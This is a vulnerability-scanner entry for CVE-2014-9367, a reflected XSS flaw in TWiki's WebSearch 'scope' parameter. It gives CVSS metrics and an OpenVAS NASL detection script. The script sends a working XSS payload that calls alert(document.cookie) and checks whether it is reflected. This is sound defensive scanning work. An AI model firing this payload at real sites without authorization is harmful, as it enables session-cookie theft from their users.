CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
AI Score
Confidence
High
EPSS
Percentile
69.9%
TWiki is prone to a cross-site scripting (XSS) vulnerability.
# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:twiki:twiki";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.805233");
script_version("2023-07-25T05:05:58+0000");
script_cve_id("CVE-2014-9367");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
script_tag(name:"creation_date", value:"2015-01-06 11:20:18 +0530 (Tue, 06 Jan 2015)");
script_name("TWiki 'scope' Parameter Cross-Site Scripting Vulnerability");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2015 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_twiki_detect.nasl");
script_mandatory_keys("twiki/detected");
script_require_ports("Services/www", 80);
script_tag(name:"summary", value:"TWiki is prone to a cross-site scripting (XSS) vulnerability.");
script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request
and check whether it is able to read cookie or not.");
script_tag(name:"insight", value:"The error exists as /do/view/TWiki/WebSearch
script does not validate input passed via the 'scope' parameter.");
script_tag(name:"impact", value:"Successful exploitation will allow remote
attackers to execute arbitrary HTML and script code in a users browser
session in the context of an affected site.");
script_tag(name:"affected", value:"TWiki versions 6.0.0 and 6.0.1");
script_tag(name:"solution", value:"Update to the hotfix in the referenced advisory.");
script_xref(name:"URL", value:"http://www.securitytracker.com/id/1031400");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/71737");
script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/534289");
script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2014/Dec/82");
script_xref(name:"URL", value:"http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-9367");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
if( ! http_port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:http_port ) ) exit( 0 );
if( dir == "/" ) dir = "";
url = dir + "/view/TWiki/WebSearch?search=Search&scope='" +
'"--></style></script><script>alert(document.cookie)</script>';
if(http_vuln_check(port:http_port, url:url, check_header:TRUE,
pattern:"script><script>alert\(document.cookie\)</script>", extra_check:"[P|p]owered by TWiki")) {
report = http_report_vuln_url( port:http_port, url:url );
security_message(port:http_port, data:report);
exit(0);
}
exit(99);